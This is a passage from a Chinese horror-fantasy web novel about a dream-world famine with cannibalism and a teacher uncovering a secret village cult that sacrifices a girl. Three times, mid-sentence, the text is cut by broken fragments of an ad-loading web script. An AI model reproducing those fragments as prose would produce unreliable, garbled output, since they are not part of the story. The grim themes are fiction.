整整两个月的时间,山中大雨倾盆,淹没了全部药田,也淹没了村寨里的所有谷仓,冲走了无数家禽牲畜。 就连能够出山的唯一一座吊索桥也被洪水冲断了。 曾经丰饶美丽的古村聚落,转眼就沦为饿殍无数的人间炼狱。 … “‘娞吉’变成‘饥馁’,竟只是因为一念之差?” 地图的这一头,女巫捏着那朵黄色蘑菇,单手叉腰,发出冷笑——现在她总算知道丹庚山七煞阵祭坛里的干尸是从哪里来的了。 地图的那一头,王稻美抬手抱住自己,摸了摸梦里本不该有的一身鸡皮疙瘩。 “反正整个梦乱七八糟的,挺多细节我都记不清楚。可话说回来,娞吉大寨都已经被淹得不成样子了,蘑菇又是从哪里冒出来的?” 女巫当即被她问得愣住。 实际上,“俱生仙境”和“生长在死人身上的蘑菇”都是出自魔法书的提示。 哈雷彗星公司本就是为了收集噩梦矩阵的相关信息,所以才将诸禅四十二世的魔力灌注在它这区区一本书当中。 那么王稻美作为一个凡人,起初又为何会接触到这些带有污染性质的信息呢? 岑小哉思考了一会儿,斟酌着反问道:“刀妹,你是忽然有一天就莫名其妙开始做那个梦的吗?” 王稻美有点小惊讶——你个npc怎么知道我叫刀妹? 她又转念一想:哦对,这也是在我的梦里。 至于为什么会做那个梦…… “我是人,还是蘑菇?” 女巫手里的黄蘑菇再次硬邦邦地开口。 还没得到回答,它又问了一句:“你是人,还是蘑菇?” “正忙着呢,别打岔!” 岑小哉的心情变得暴躁起来,抓着它疯狂摇晃,甩出了残影。 王稻美那一身本不该有的鸡皮疙瘩逐渐变大:“女巫,从刚才到现在,你那边是什么在说话啊?” 女巫沉默三秒:“不是人。” “它,它是什么颜色的?” “原本是黄色,很辣眼睛的那种。呃,但不知道为什么,它从刚刚开始开始变黑了,跟发霉了似的。” 岑小哉一脸嫌弃地将这朵蘑菇举起来端详。 也正因如此,她忽然发现,蘑菇柄的末端似乎长出了几根肉芽。 “我想起来了。”顿了好久,王稻美的声音从地图里传出来,听着莫名有点萧瑟。 “洪涝结束之后,娞吉大寨成了一片废墟,死了很多人。” “活着的人,实在找不到食物……就只能吃身边的死尸。” 自诩是“仙人”的黄丹庚早已不知去向。 村民们刨出药田里残余的山丝苗、米囊花,捣碎了拌在腐肉里,吃了以后晕乎乎的,每天都像成了仙一样快乐,而且不会那么快就生病。 后来,所有尸体也被吃光了。 不知道是谁起的头,他们瞪着通红的双眼,对自己的妻儿、兄弟姐妹,甚至父母——举起了锄头,挥起了镰刀。 “等到那个梦结束的时候,每个人都没有头,脖子上顶着一朵巨大的蘑菇。” “它们一直不断地向我重复这个问题:‘我是人,还是蘑菇?’” 那段时间,王稻美的神经衰弱越来越严重。 就连她那对貌合神离的父母都吓得不行,各自撇开新欢,带着女儿到处寻医问药。 甚至还找人到家里开坛作法,整栋别墅上上下下都贴满了符纸,夜里关了灯就跟什么闹鬼的封印之地似的。 但王稻美一开始总是半梦半醒,明明每天困得整个人都快崩溃了,也没法进入深度睡眠状态,更没有梦到什么娞吉大寨。 直到她休学之后,虚弱到起不了身,只能躺在床上输营养液。王董事长夫妇俩差点以为孩子要养不活了,愁得头发都白了一大半。 这时,王董的心腹干将——天峰集团古堃分公司的总经理托人从海外买回一瓶“特效药”,据说是专门针对大小姐的这种病症。只不过,原材料在新唐境内属于违禁品,因此很难打探到购买途径。 王稻美吃完一个疗程,终于能真正入睡。 然后,她就梦到了那场饥荒和一个个长着蘑菇脑袋的村民们。 女巫:“……” 女巫:“呃,所以你最后给出了什么回答?” “我,我……”玩家刀妹开始支支吾吾。 岑小哉心中萌发了一丝不太对劲儿的预感,但她思前想后,最终选择善良且平和地安抚这个“刁民”。 “说吧,我已经准备好接受一切。” “它们实在挺烦的,最后我受不了,就反问了一句话。” 王稻美忍不住叹了口气,这会子复盘起来,突然就感觉有点追悔莫及。 她当时问的是—— “你们能吃吗?” 那群顶着蘑菇脑袋的怪物估计也想不到,世上竟有如此饿胆包天的人类。 “假如,我是说假如,它们回答‘能’呢?”女巫谨慎地追问道。 刀妹嘿嘿一笑。 “那我可能会接着问一句‘好吃吗?’” 尽管地图里面的王稻美同学根本看不见,岑小哉还是缓缓竖起了一个大拇指。 “不愧是你,刀妹。” 就在此刻,魔法书带着它的超绝夹子音再次从虚空中降临。 【恭喜2号玩家获得称号“一只饕餮”,技能备注:世界上除了你自己没什么是不能吃的·实在不行也可以自己吃自己。】 醒来之前,2号玩家依稀能感觉到,女巫还在她耳边嘀咕着什么: “如此看来,也算一种脱敏疗法吧。” “因为,你只是撞鬼了而已。” 就在撞鬼而不自知的2号玩家被吓掉线的同时,女巫面前的地图竟然升级了。 她终于不用再对着一幅黑白两色的简笔画束手无策,可以随意触及地图上的某个场景,双击放大,尽管无法直接干涉,至少也能看到那个地方的真实境况。 【接下来,玩家必须吃掉蘑菇,要不然就会被蘑菇吃掉。】 魔法书飞到地图 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 旁边,用自己的封面右下角指了指那个悬崖底部的山洞。 【按照2号副本世界的基本法则,进入“俱生仙境”的玩家需要以此来补充生命值,才能获得力量对付悬崖底下的冤魂野鬼。】 “冤魂野鬼?哦,就是刀妹说的那些蘑菇人?” 想到了好玩的事情,岑小哉的那双赤金竖瞳逐渐发光。 “那可真是恭喜她了,终于可以问出最后一句:‘怎么吃?’” … 凌晨一点。 新唐南方精神病院,住院楼顶层。 “哎呀妈呀,可差点没吓死我!” 独自躺在柔软大床上的王稻美倏地惊醒,抬手抹了把冷汗。 “原来只是撞鬼……而……已……” 这间装饰着水晶大吊灯的豪华病房里,幽幽吹过一阵小风。 谁撞鬼来着? 什么时候撞鬼? 撞了什么鬼? 刀妹终于被自己小脑瓜子里缓缓飘起的三连问吓得飙泪。 她哇哇大哭着,打给了远在古堃的戴玉粒。 “粒粒,我住院之前做了个噩梦,现在想起来了,好害怕啊。” 通讯那头的戴队长似乎还在加班,但她显然早已习惯了好友那条超长反射弧,以及反射弧所导致的语无伦次。 “刀妹,你看一下柜子里面的药瓶,里面是不是有一种叫‘苯.巴.比.妥’?” 刀妹脸上还挂着泪花,注意力倒是立即就被转移了:“有啊,医生说是用来镇静的。” “这种药会导致认知和记忆缺损,半衰期是50到144个小时,那接下来的六天内,你可能还是不太清醒。” “啊?所以我现在这个情况就是,吃药的副作用?” 王稻美的话音未落,戴玉粒那边的通讯里忽然传来一阵急促脚步声,有人大喊: “队长!吉老四跑了!” 大小姐的反射弧再长,也分得清事情的轻重缓急。粒粒不必解释什么,两人就很有默契地切断了通讯。 有的人嘴上说着自己害怕,实际上连屋子里的灯都不开。王稻美连续刷了五个小时的云端帖子,直到天亮。 粒粒发来三个字:“到家了。” 刀妹回了一张五体投地的表情包,在对话框输入了“其实我之前梦到了蒋……” 但她又觉得不能再打扰戴队长休息,只好把这句话删掉,从通讯录里找到一个画质高糊的睡莲头像,拨出语音通话。 终端传出一段铃声,是个奶声奶气的小孩在说话: “我的志愿是做一个校长~” “每天~收集了学生的学费之后~就去吃火锅儿~” 每次听到这段铃声,王稻美都有点怀疑自己亲手打出来的备注:作业狂魔。 不确定,再看看。 “作业狂魔”的本名叫蒋济宁,是伍港一中最年轻帅气的物理老师。 正如魔法世界的埃米·诺特教授永远执着于为学徒们精心设计每一场考试。 人类世界的蒋老师同样深信,“书山有路勤为径,学海无涯苦作舟”这句话是关乎学习的真理。 因此他每天熬夜备课、出题,踏入校门的第一件事情就是一头扎进文印室里复印卷子。 上课前收昨天的练习卷,下课前发新的练习卷,回到办公室里他立刻坐下,拿起红笔就开始唰唰唰批改卷子,连一口水都来不及喝。 长此以往,年轻帅气的蒋老师喜提历届学生口口相传的“作业狂魔”称号、腰椎盘突出,以及严重到需要开刀的肾结石。 他甚至是坚持到那一届学生高考完毕,才去医院动手术。 蒋济宁住院休养的时候,王稻美她们这些已经上了大学的学生组团去看望他,都嘻嘻哈哈地劝蒋老师接下来最好还是放过学校的打印机,保重自己的身体。 大名鼎鼎的“作业狂魔”躺在病床上,露出一抹苍白苦笑:“我下学期打算外出轮岗支教,大山里头应该也没打印机可以给我祸祸。” 时隔一个暑假,王稻美同学也躺在了病床上。 终端屏幕中央的睡莲头像时亮时暗,通讯始终无人接听。 36. 半夜拜神 蒋济宁最近总觉得村子里的氛围很奇怪,但村里人都笑嘻嘻地说“没什么,蒋老师您就是想太多了。” 吉家村位于新唐与洪沙瓦底的边境交界处,只有一条百米高空上的吊索桥能从山里去到山外,非常偏僻穷苦,没什么人愿意来这儿教书。所以,蒋济宁很轻松地申请到了这个支教名额。 其实在这里生活和工作,对于他这个糙老爷们来说挺自在的,小孩子们也是乖巧安静的占多数。 四十二个学生年龄参差不齐,最大的十五六岁,最小的四五岁,都混在一间教室上课。 虽是小村落,但孩子们都是家里长辈掌心里的宝,放学前有几个男孩的爷爷奶奶还会特地放下手里活计,从村里走到校外的空地那里等着。 放学时间是下午四点半,蒋济宁看了一眼窗外,操场上一如前几天的空荡,只等着他去打扫银杏叶。 孩子们一窝蜂冲出教室,叽叽喳喳地商量着回村之后要去哪玩。 蒋济宁收回目光,班里年龄最大的女孩安静地坐在角落,用眼神无声询问。 “没关系,你在这里继续做作业吧,有不明白的地方到隔壁办公室来问我。”蒋济宁擦完黑板,一脸了然地对她说。 心里却忍不住叹息,这孩子勤奋好学,却偏偏出生在资源贫瘠的大山里,本该上高中的年纪,到现在只勉强达到小学四五年级的知识水平,真是让人扼腕。 说是学校,其实只由建在半山腰的一间教室和一间小小的办公室组成,门口的空地就充作操场。厕所旁边还有个放杂物的闲置房,蒋济宁一直琢磨着等哪天放假了把它收拾出来,以后要是天气不好,或者哪天批改作业太晚,就可以留在这里过夜了。 他把较亮的台灯留在了办公室,每天一般是在这儿看会儿书才回家。 看着书就入了迷,等回过神来竟已经天黑了。蒋济宁脑子里掠过刚刚看的乡村恐怖故事,有点惴惴不安地打开手电筒。 路过教室时,他借着手电筒的光线匆匆瞥了一眼,里面空荡荡的,一片沉寂。 夜色深沉,蒋济宁独自走在寂静的小道,风吹树叶声回荡着,他走到最后几乎跑起来。 快步下山,回到一里外的家里,蒋济宁终于找回一丝安全感,暗想着下次一定要把台灯带回来。 又想起今天本来准备看的儿童心理学,心里暗叹堕落。 快入睡时,蒋济宁隐约想起了留在教室的女孩,不过她应该早就走了吧。 他做了一晚上乱糟糟的梦,似乎还听见窗外有些吹吹打打的嘈杂声响。 第二天一大早,上课铃响起,蒋济宁走进教室,孩子们还在嬉闹。他下意识看向那个角落,却没有看见昨天的女孩。 “吉兰馨同学还没来吗?” 教室里安静了一瞬,紧接着,孩子们七嘴八舌地叫嚷起来—— “对啊,俺今天来学校都没看见她呢。” “咱走的是大路,兰馨姐会不会是走小路来的?” “走小路不是更快吗?你傻呀!” “兰馨姐的书都在桌子里面!” 虽然吉兰馨的成绩不算优异,但她绝对是整个班里学习最认真的孩子,怎么会把课本留在抽屉里不带回家去?这可是以前从来不会发生的事情。 蒋济宁觉得有点怪异。 可惜在这个深山旮旯里没有信号,连打电话都变成格外奢侈的事情——除了村里的“队间”,也就是村生产大队开会的地方有安装一部老式电话机之外,任何通讯只能靠村口路灯杆上的广播大喇叭。 没法直接联系吉兰馨的家里人,他只好在放学后锁上门,跟着孩子们一起早早走回村里,打算去家访。 “哎呦,是蒋老师来了,今天就在家里吃午饭吧,俺早上刚烙的饼子!” 吉三嫂正坐在门边择菜,看见蒋济宁立刻笑着站起来。 当她听到蒋济宁说是来找吉兰馨的时候,脸上的笑意更浓了:“兰馨那丫头啊,昨儿夜里就给她爹妈接走啦!” “昨天晚上?” “对哇,着急忙慌的,连衣服都没收齐呢!说是一起去城里过好日子去啦,用不着这些破布头咯,倒是便宜了俺家那几个小的。” 吉兰馨的父母远在诏州打工,她这两年一直被寄养在吉三嫂家。按亲属关系来说,吉三嫂是吉兰馨外公的远房侄女,后来又嫁给了吉兰馨的三表叔。尽管吉三嫂的丈夫早年出门打工就一去不回,但这两家人关系依然非常好,据说吉兰馨出生时,还是吉三嫂给剪的脐带。 看来吉兰馨确实是被她的父母接走了,蒋济宁也稍微放下心来。 “蒋老师?蒋老师?没事,你就安心吧,那孩子有福气!” 他回过神来,对吉三嫂笑了笑:“那就好,她今天没来上课,我也是怕她出什么事才来看看,打扰您了。” 吉三嫂又盛情邀请,蒋济宁推辞不过,在她家吃了顿家常饭。 告别之后,他慢悠悠地散着步回学校,又想起吉兰馨的事,踢小石子儿的水平都有所下降。 最近农活多,孩子们中午也没那么快去上学,一般这时候学校里都还没什么—— “老师!” 门口坐着个小泥猴儿,正笑嘻嘻地看着他。 看到她,蒋济宁几乎是条件反射般地觉得头疼,明明只是个五岁小姑娘,却比七八岁的男孩子还能闹腾,整天爬树上房,没一刻能安静下来。 “吉安,你这么早就来了,还没吃午饭吧?” “没有。” 蒋济宁叹息了一下,正打算去办公室里翻点储备粮给她,眼风却不经意扫到地上一角蓝色封面,顿时头更疼了:“你怎么又把数学书拿来垫着坐!快起来!” “不是我的。” “不是你的难道就可以……” 吉安忽然打断了他的话:“是吉兰馨的。她不会再回来了。” “什么?”蒋济宁有些反应不及。 吉安却大笑起来:“她已经和我一样,变成爹妈不要的娃娃了。” 下午,蒋济宁上课时走了几回神,总要想起中午的事。 当时吉安丢下那句奇怪的话,他还没来得及追问缘由,这泥猴儿就嘻嘻笑着跑远了。 小孩子说的话,有时候不敢信,有时候又不敢不信。蒋济宁回忆起关于吉兰馨的事情,心里总有些担心,打算再去问问其他村民。 放学时,他向外望了望,今天竟然没有家长来接孩子,再回头,吉安也不知道一下子蹿去哪儿了。 蒋济宁叹了口气,看来只好再去村里一趟了。 奇怪的是,明明是该吃晚饭的时间,小村庄却空荡安静,只有几个孩子走在路上。 “诶,子豪,你奶奶在家吗?”他叫住一个正打算开门的男孩。 吉子豪愣了一下,挠了挠头回答:“蒋老师,我奶奶不在家,她让我回家自己煮鸡蛋吃。” “好的,谢谢你。那我去问问别家的大人。” “蒋老师别去啦,他们肯定都不在,大家约好了一起出门的。” “是吗,那你知不知道他们是去干什么了呀?” 吉子豪摇了摇头。 “呵,自己村里开会还得通知一个外人不成?”身后响起中年男子的声音,蒋济宁甚至不用转过去,就能想象出这个人的神色是多么冷漠不屑。 “四伯,您啥时候回来的呀?”吉子豪呆呆地看向那个人,“我咋没听奶奶说过呢。” “就这两天呗!” 中年人大笑着直接越过蒋济宁,一把揉了揉吉子豪的头:“走,今天四伯家炸了肉饼,一起回去吃。” 被揽住的男孩咽了下口水, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又偷偷看了看蒋济宁,最后也没说什么。 话说回来,这种专门针对外地人的高度警惕和敌意,蒋济宁已经很久没感受到了。 忽然,他又听到右上方传来一句感慨:“真没想到啊,吉老四对每个外地人都这么‘热情似火’。” 抬头一看,吉子豪家隔壁的墙头上趴着个年轻人,皮肤白得很不健康,头发长到能束起马尾辫。 “蒋老师你好,我叫黎嗣,是一名自由撰稿人,叫我小黎就好。”他伸手推了下眼镜,笑容莫名有点熟悉。 “呃,你好。” 接着,黎嗣立刻打开门,好说歹说把蒋济宁劝进屋去喝茶。 “实不相瞒,我是来吉家村采风的,昨天刚到。要不是因为我早就跟村长沟通过,哪里敢租这家人的屋子。” 蒋济宁忍不住问他:“听你话里的意思,对吉老四还挺熟悉的?” “也还好,之前在广府的时候当过几个月邻居,差点打起来。” “那你还敢来他的家乡?” “素材和灵感,这两样都是可遇不可求的嘛!”黎嗣递过来一只玻璃杯,碧绿茶叶在水中悠然浮动。 “那天晚上,我在自己租的单间里睡得好好的,烟雾警报器忽然叫起来,吓得我以为屋子里着火了,结果是吉广进这家伙在隔壁拜神烧香纸!说了不听,他还神叨叨的,咒我遭报应,你说这离不离谱?” “半夜拜神,那真的比较少见。”蒋济宁微微皱起眉头。 吉家村确实有一些乡土风俗,但就跟中秋吃月饼、端午吃粽子一样,完全谈不上是信仰的程度。更何况,吉子豪的这个四伯,看着也不像对神明有多虔诚的人。 “对嘛,我就气不过,第二天立刻去找了房东。” 说到这里,黎嗣转身进了里屋,再出来时,手里拿着一个文件袋。他从里面取出来几张照片,脸色倒还是挺淡然的:“听房东说,吉广进自己解释过,他大半夜拜神是迫不得已,为了‘保平安’。” “这说不通吧,他们村里人拜神时,也经常把这句话挂嘴边的——” 在看到照片的一瞬间,蒋济宁一下子忘了自己要说什么。 实际上,吉家村家家户户摆供桌时,都是朝着虚空祭拜,就算是在村口的那间小庙里,他也从来没见过神像的样子。 直到今天,蒋济宁才第一次看清,原来神座帘幕之后,端坐的是如此一尊法相:栩栩如生的人首下方,是虎身熊爪和一条盘在腿边的长长蛇尾拼接在一起,没有半点人的肢体。 既野蛮,又诡异。 “虎身和熊爪很直观地体现了对攻击力的向往,至于蛇尾巴,可能是古老的繁殖图腾。”黎嗣用手指点了点照片上的人首,“这颗人头比较有意思,无意识中流露出他们先祖最终渴望‘由人成神’的巨大野心。 “当然,以上只是我作为文学工作者的一些小小猜想。” 蒋济宁对这方面不太了解,只好勉强附和道:“果然是艺术家。” 黎嗣直直地盯过来,蒋济宁被他看得心里发毛,赶紧移开了视线。 随即听到对方轻笑了一声,蒋济宁就更不好意思了。 “总之,这些对我来说都是宝贵的素材,只有来到当地才更实际地体验到这里的风土人情。” “原来如此。”蒋济宁犹豫了一下还是开口了,“虽然无意打听吉家村内部的隐私,但你有从吉老四的口中听过他们在开什么会吗。” “这个我也不是很清楚,初来乍到嘛,不过我可以帮蒋老师留意这件事。”黎嗣点点头。 “其实,最近我觉得还挺奇怪的……” 或许是因为黎嗣也是这里的“外人”,明明他没有多问,蒋济宁却莫名想说出这些天的古怪现象。 一直聊到夜幕降临,蒋济宁才起身回了自己的住处。 37. 俱生法王 第二天是周五,放学后教室很快就走空了,也不会再有人想呆在教室里看书。 蒋济宁走到吉兰馨的课桌旁,把她留下的书收拾在一起,放到了办公室的抽屉里。 将办公室的门落了锁,蒋济宁再一次踏上去吉家村的小路,今天他和黎嗣约好要在村里多转转。 远远就看到黎嗣在门口招手,蒋济宁感觉比昨天更踏实一些了。 “我今天早上,到吉老四家附近转了转,可惜没什么发现。”黎嗣脖子上挂着个小小的数码摄像机,原本在大城市不算多罕见的物件,到了这大山里就显得有点稀奇了。 不远处,吉子豪和几个小孩躲在屋边伸长了脖子,可能是在偷瞧黎嗣。看到蒋济宁之后,他们立刻都钻回了屋里。 “哈哈,看来蒋老师还是蛮有威严的嘛。” “这,倒也还好。他们在学校里可不会这样,一群捣蛋鬼。”这种情况太反常了,蒋济宁脑子里闪过一些奇怪的、算不上太好的预感。 还好黎嗣没怎么注意到他的语无伦次。 他们一路走到了村口外的山坳附近。 这里是块荒地,草丛深处有大片池塘,岸边绿意盎然,唯独那棵将近百岁的老榕树看起来奄奄一息。 黎嗣初来乍到,东张西望,对一切上了年纪的东西都充满好奇,蒋济宁就跟他介绍了一下对岸这棵古榕:“村里人管它叫大神树,应该是榕树在本地的专属别称。” “哦,那还挺有意思的。”黎嗣举起那只小相机,对着四周“咔嚓”了好几下。 却似乎,对蒋济宁所说的古榕没什么兴趣。 “OK,拍得差不多了。”黎嗣笑着看向蒋济宁,脸上的眼镜片折射出繁彩光辉,一时看不清他真实情绪。 “我对你们那个学校还挺感兴趣的,能去看看——” “蒋老师。” 一句呼唤从对岸传来,孩童特有的清亮声线却惊出了蒋济宁半身冷汗。 “吉安!你怎么跑到这儿来了,我不是天天跟你们说不能来水边玩吗?” 吉安今天还是穿着一身脏兮兮的衣服,连头发都沾着树叶杂草,看起来更不像个正常孩子了。 她直勾勾盯着蒋济宁,对旁边的黎嗣完全视而不见,嘟囔了一句:“村里人都来。” 蒋济宁板起了脸,想唬住这调皮孩子:“只有懂事的大人可以来,你不听话来这里,说明你就是不懂事的小孩,下次不许来了。” 小女孩撇了撇嘴,转身跑进一边的树丛里。 “诶?别乱跑了!” 蒋济宁的喊声回荡在这片绿里,他不好意思地看向黎嗣,对方却对着吉安离去的方向颇有兴趣的模样。 感受到蒋济宁的目光,黎嗣回头露出一个笑容,问道:“这孩子挺有意思的。” “吉安从小就满山乱窜,但毕竟是个小女孩,我总担心她不安全。” “哦?有机会得跟她交流交流,说不定能给我带来不一样的灵感呢。” 蒋济宁忍不住皱起眉头。 黎嗣这样说,好像是目的性很强地对待孩子。但转念一想,他此行也确实是来找灵感的,可能是自己太上纲上线了吧。 在这支教久了,这些山野风光已经无法吸引蒋济宁。等黎嗣拍完一组照片,他们打算去吉兰馨家的老房子附近转转。 又一次经过老榕树时,蒋济宁发现它的树干似乎有些奇怪。 榕树的树干大约有两人环抱粗,周围长着及腰的杂草,转换角度可以发现一侧的杂草有压痕,略矮于其他草丛,那处的树干也缠绕着什么。 说来也奇怪,既然取名为大神树,应该是带有尊敬意味的,怎么会任由它的四周长出这样茂密的杂草呢,难道是以前的信仰过时了? “蒋老师。” 蒋济宁刚想走近看个仔细,却被黎嗣喊住了。 “怎么了?” 他晃晃手里的相机示意:“我拍好了,我们可以回去了。” “小黎,你过来看看,这里有点奇怪。”蒋济宁指了指榕树。 “哦?有什么新发现吗?”黎嗣盖好镜头、收好相机,动作有点笨拙地挤入了这堆杂草里。 看着他小心翼翼的样子,蒋济宁有些“幸灾乐祸”地掏出掌上终端,想要记录下他的窘样。已经习惯了不带没有信号的终端,今天倒是难得为了记事本功能带上了它。 按下拍摄键的一瞬间,蒋济宁快速把掌上终端揣进裤袋里—— 镜头里冒出了一个他们最不想看见的人:吉广进。 “快走!”蒋济宁转身往外跑。 黎嗣的声音不慌不忙地响起:“蒋老师,小心点,等等我呀。” “别往前走了!”吉广进一声暴喝。 蒋济宁回过神来,两人已跌跌撞撞跑出了荒地。他抬头一看,太阳也快要落山。 当时被吓昏了头,也不知道吉广进喊的到底是谁。 是他和黎嗣,还是吉安? 想要拿出掌上终端看看最后的照片,一摸口袋,却空空如也。 “糟糕,终端掉了!” 昨天还拍了好几张本地那位“俱生法王”的神像照片呢!万一被吉广进捡到,按照他那种极端排外的性格,还不得直接把他们轰出吉家村? 更何况快天黑了,吉安可能还在里面乱跑,太危险了。 “小黎,你先回去,我得把吉安带出来,之后再去你家找你。”蒋济宁转头向黎嗣说道。 见他脸色凝重,黎嗣也没多说什么,点了点头就朝村口方向走了。 趁天色还没完全暗下来,蒋济宁立刻又拨开比人还高的草丛,沿着小路深一脚浅一脚地往里摸索。他那只掌上终端是前两年买的,特别耐摔,而且外壳是很显眼的银色,如果是掉在榕树前那片杂草堆里,应该能找回来。 但还是先找孩子要紧。 山坳里四处静悄悄的,只有偶尔的几声鹧鸪叫,显得有点凄厉。 蒋济宁隐约听到了一阵叮叮咚咚的乐声,从巨大的古榕树身里面传出来。 山风吹来,树枝上垂下的根须与破旧红布条都在微微摆动,仿佛在向他招手。 蒋济宁背上倏地发冷,可是想到或许吉安还在这里,他只得强忍着停下要往回跑的脚步,硬着头皮走向那棵变得十分诡异的大榕树。 “人失土,土食人,谁知世间多疾苦……身入棺,棺如身,为求大道叩天门……” 却是吉安哼着歌,从树冠上钻出来。 “蒋老师,是在找这个吗?”她摆了摆小手,攥着一个银闪闪的物件,“老四叔想要,我没给他。” 这小泥猴儿哧溜一下,从大树上滑下来,身上的衣服蹭满泥屑,脏到辨不出原来的颜色。 附近的树丛里传出声响,蒋济宁汗毛直立,来不及说话,接过掌上终端之后立即把孩子薅起来,急匆匆离开这片荒地。 一口气跑回了学校的办公室里面,天色已经变得晦暗。 “吉安……你,你刚才,是不是从 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 树里面爬出来了?” “是啊。”吉安一骨碌从他臂弯里挣脱下去,笑嘻嘻地答道。 之前看的恐怖小说还在办公桌上,然而现实远比虚构故事更让人毛骨悚然。 蒋济宁呆坐在办公室里唯一一张椅子上,下意识地紧攥着掌上终端。此刻,他终于明白心底那种没来由的慌乱是怎么回事。 从吉兰馨消失的前一天下午开始,再到今天傍晚在荒地里和吉广进的狭路相逢。 那些被他刻意忽略的不寻常之处,那些他以为能够粉饰太平的种种异象,早已在吉家村这个小小的龙潭虎穴里暗中发酵。 吉安这小丫头倒是一脸无忧无虑,自顾自在柜子里翻出食物,坐在蒋济宁面前的办公桌上一边晃着两条细腿,一边窸窸窣窣地啃饼干:“蒋老师,吃吗?” “吉安,神树底下是不是被挖空了?村里人最近都在那儿‘开会’?”蒋济宁盯着她的眼睛问道。却第一次发现,这个孩子的瞳色如此漆黑,仿佛能够湮没一切光线。 “他们在拜‘俱生法王’,有很多吃的,很多米糖、油和酒,还有大鞭炮!”吉安歪着头想了一会儿,忽然又笑起来,“吉兰馨也在里面,他们教她唱歌。” “身入棺,棺如身,为求大道叩天门。” 原来她不久前哼的歌,就是在法会上学来的。 办公室年久失修的铁门被推开,发出一声刺耳的“吱嘎”。蒋济宁吓了一跳,转头看清楚来的人是谁,才松了一口气。 “哟,小丫头也在呢,还好我这锅炸酱面份量不少。”黎嗣走进来,手里还提着个装得圆墩墩的大塑料袋。 蒋济宁闻到这阵香气,腹中应景地叫唤起来,才想起这会子已经是吃晚饭的时候了。 正要打发吉安去洗手准备吃饭,谁知那只泥猴儿鼓着腮帮子从桌子上跳下来,抖落了满地饼干屑后立刻一溜烟跑了,叫都叫不回来,跟老鼠见了猫似的。 “赶紧回家去,不准在外面乱跑了啊!” 蒋济宁追到门口喊了两声,没得到半点回应。只能摇摇头回到办公室,心里盘算着待会儿回去之前再拐去她家看看。 “刚刚我回去屋里煮面,听见隔壁有吉老四的大嗓门,就留神听了一下——” 黎嗣从锅里捞完面,很随意地端着碗倚在办公桌边上,表情有些玩味:“蒋老师,您猜我听到什么了?” 蒋济宁发散了一下思维:“难不成,是在说咱们坏话?” “哈哈哈那倒没有,他在光明正大地拉人去‘开会’呢!” “天天开会,而且是法会,简直无可救药啊。要不是我的学生被牵扯进去,还真不想搭理这些破事儿……”蒋济宁低头咬了一大口面,却没听到黎嗣再说什么,心里忽然觉得有点奇怪。 抬眼看过去,对方似乎正好错开他的视线,脸上依旧挂着一抹有点玩世不恭的微笑:“俗话说得好,‘请神容易送神难’。可惜世人愚昧无知,还是要自寻烦恼。” “你说得没错。”蒋济宁点点头,没再多想,打算先跟他谈谈自己刚有点眉目的计划,“对了小黎,我认为有必要混进他们的法会里去瞧瞧,你觉得如何?” “吉家村这么排外,法会也开得遮遮掩掩,要怎么混进去?” “咱们今天不是在荒地神树边上碰见吉老四了么,将计就计,假装冲撞了他们的‘俱生法王’,得去法会上赔礼。” 黎嗣挑了挑眉:“这主意可以啊,没想到蒋老师浓眉大眼的,也有这种怪心思!” 38. 活祭仪式 根据黎嗣多年收集的资料,所谓“中邪”的人一般会有两种症状:要么发烧,要么发疯。 蒋济宁跟他合计了一下,觉得还是后者比较容易蒙混过关。 “咱们可以带一些香烛银纸,光明正大地进去。要是还有人拦路,就开始装作发病,横冲直撞过去。” 黎嗣看起来简直跃跃欲试,不愧是个自由职业者,有几分烂漫的冒险精神。 “我看村里只有一些老人和妇女,拦不住咱俩的。” 周六清早,赶在村民们“开会”之前,两人再次来到荒地,这回可谓是有备无患。 巨大的古榕树身早已被人挖空,扒开用于掩饰的树丛与杂物,便露出一个直径大约一米的洞口,里面暗如深井,也像巨蟒撑开血盆大嘴,要将外面的人吞入腹中。 蒋济宁打开手电筒,明亮光线终于照出洞中的真面目:树身内钉着一架长长的绳梯,大约十米才到底。 奇怪的是,无论树洞还是绳梯,看起来使用痕迹都不算久,并非他想象中经年累月的样子。 “下面只能看到一小块空地,看来他们还挖了通向别处的密道。” 蒋济宁小心翼翼沿着绳梯爬到洞底,一边紧张得汗毛直竖,一边又有点无奈:吉家村这些人真是艺高人胆大,每天上下也不嫌麻烦。 密道虽不算宽敞,好歹微微低下头还能行走。而且也不止一条,好在两边的几个岔口都被人用杂物堵住了,只留着中间最笔直的能够通行。 走了没两步,蒋济宁忽然想到,这倒是有点像以前老人们经历过的“地道战”。从某种意义上来说,还挺讽刺的。 黎嗣随后也跟着爬下去,也不知他是恐高还是怎么的,下绳梯下得特别慢。 “啊!” 突然间,他一声惊叫,吓得蒋济宁猛一抬头,撞了个眼冒金星:“怎么了小黎!” “没事没事,我刚刚脚滑了。”黎嗣的声音还有点颤抖,“好险,差点在两三米高的地方就摔了。” 他下来之后扶着墙壁,步伐有点一瘸一拐,显然是扭伤了脚。 蒋济宁顿时有点愧疚:“不好意思,是我连累了你。要不,小黎你还是别去了,就在这里等我吧。” 他犹豫了一下,似乎不太想答应。 “我只是想去看看我的学生在不在里面,不会太久的。” 黎嗣最终点了头,他找了个比较适合躲藏的岔口,关了手电筒贴墙一站,还真不容易被发现。 蒋济宁转身加快了步伐,往密道深处走去。 大概几十米之后,渐渐有微弱光亮透过来。很明显,尽头处就是那个作法现场! 但就在这时,他听见身后隐约传来了说话声,心跳骤然间漏了一拍:不好,村民们已经来了。 蒋济宁立刻关掉手电筒,急匆匆找了个岔口,像黎嗣刚才那样缩进去。 不出半分钟,杂乱的脚步声进入这片区域,又迅速远去。等到岔口前后重归平静了,蒋济宁才悄悄跟上去。 密道尽头看起来原本是一个废弃的防空洞,里面已经摆上了四张供桌,还搭建出一座高台。 “人失土,土食人,谁知世间多疾苦。” “今夜子母共长眠,昨日六亲腹中住。” “身入棺,棺如身,为求大道叩天门。” “老弱病残七重煞,不见日月不透风!” 然而蒋济宁万万没想到,台上彩光流转,虚空中浮现出一尊斑斓法相:人首、虎身、熊爪与蛇尾一应俱全,正是那位“俱生法王”。 